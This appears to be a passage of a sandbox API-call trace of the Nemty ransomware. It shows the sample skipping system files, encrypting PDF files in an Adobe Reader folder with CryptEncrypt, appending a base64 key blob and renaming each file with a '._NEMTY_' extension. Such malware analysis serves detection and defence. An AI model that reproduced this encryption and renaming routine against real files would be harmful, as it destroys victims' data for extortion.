[0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0190.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0190.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.208] Sleep (dwMilliseconds=0x5) [0190.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x25182d10, dwHighDateTime=0x1d561e8)) [0190.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x25182d10, dwHighDateTime=0x1d561e8)) [0190.347] GetLastError () returned 0x0 [0190.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.347] GetLastError () returned 0x0 [0190.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.348] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.348] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="ygOjrS3RJt40wSCT95PS4i60WuMxXfMPWLX5kj+gO+kZSBH1bNRXeViczMsYw+DS\r\n4Fc7CTnDpHE25fY+OdHpXWzM4jKz18DyTTxdC6mw3YKhyhz3tgti68FsGKoLldIr\r\nfumk2tqKZLunXjmYwDtvrRcvstjkiZYwuLirPkjB/wM0bxNJm4Tw0mn3ZAnDH0+t\r\n6GZpY6IK2ySyXVL4r/MnS1vy3v7dIq5sGZfY3wxJss7N/iSDKWXcIe0eQGm+uwIQ\r\noErMAe0ZByUf+4mDKIV+7sY3TOepk+6CxIUjoV8cVQe3dKGZoZbFGFRDIEzorYCU\r\nJsWBpfV3FaQfovyNbpAwNw==\r\n", pcchString=0x653df5c) returned 1 [0190.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.349] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=45449) returned 1 [0190.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb180) returned 0x6352c48 [0190.349] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.349] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb180, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb180, lpOverlapped=0x0) returned 1 [0190.354] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.354] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb180, lpOverlapped=0x0) returned 1 [0190.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.354] SetFilePointer (in: hFile=0x320, lDistanceToMove=45449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb189 [0190.354] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.354] CloseHandle (hObject=0x320) returned 1 [0190.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.355] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0190.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.356] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0190.356] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0190.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0190.357] Sleep (dwMilliseconds=0x5) [0190.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x251cefd0, dwHighDateTime=0x1d561e8)) [0190.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x251cefd0, dwHighDateTime=0x1d561e8)) [0190.366] GetLastError () returned 0x0 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.366] GetLastError () returned 0x0 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.366] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.366] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="kFJHDCrLOZgNv1/Fy27f1gg1wUqiINYgndRoKVmhr9sx6ezg19nUTXT/O26aRKfl\r\nxitAnV6BaaW9CIbImX6nWkKWJJrpZFG1FSF90QfxHSd54thqcVrMvEDtsxb54hWz\r\nTSZCId01hU2ECfIvyY7XkZf7ipTV3NKuTb+26L2lpPZ3rULVQqXMeR7IS+yDAt4n\r\n2t8tdbd15AiCB2fK7lotmUDoijuj69MckOlLc3FyEg5qJD7jhHg/vhy5mHJnPYSR\r\nBjGX0lpLUVeSCnHZgKbR/+n1lRT7gbrANd/6K1z77x3HywjObu/Npsp76BWwbxU8\r\nNmnTQfBzbIaqSmlhBf6Lmg==\r\n", pcchString=0x653df5c) returned 1 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.367] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0190.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.367] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.367] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0190.376] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.376] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0190.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.376] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0190.376] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.379] CloseHandle (hObject=0x320) returned 1 [0190.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.380] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf._nemty_kgobjgd_")) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.381] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0190.381] 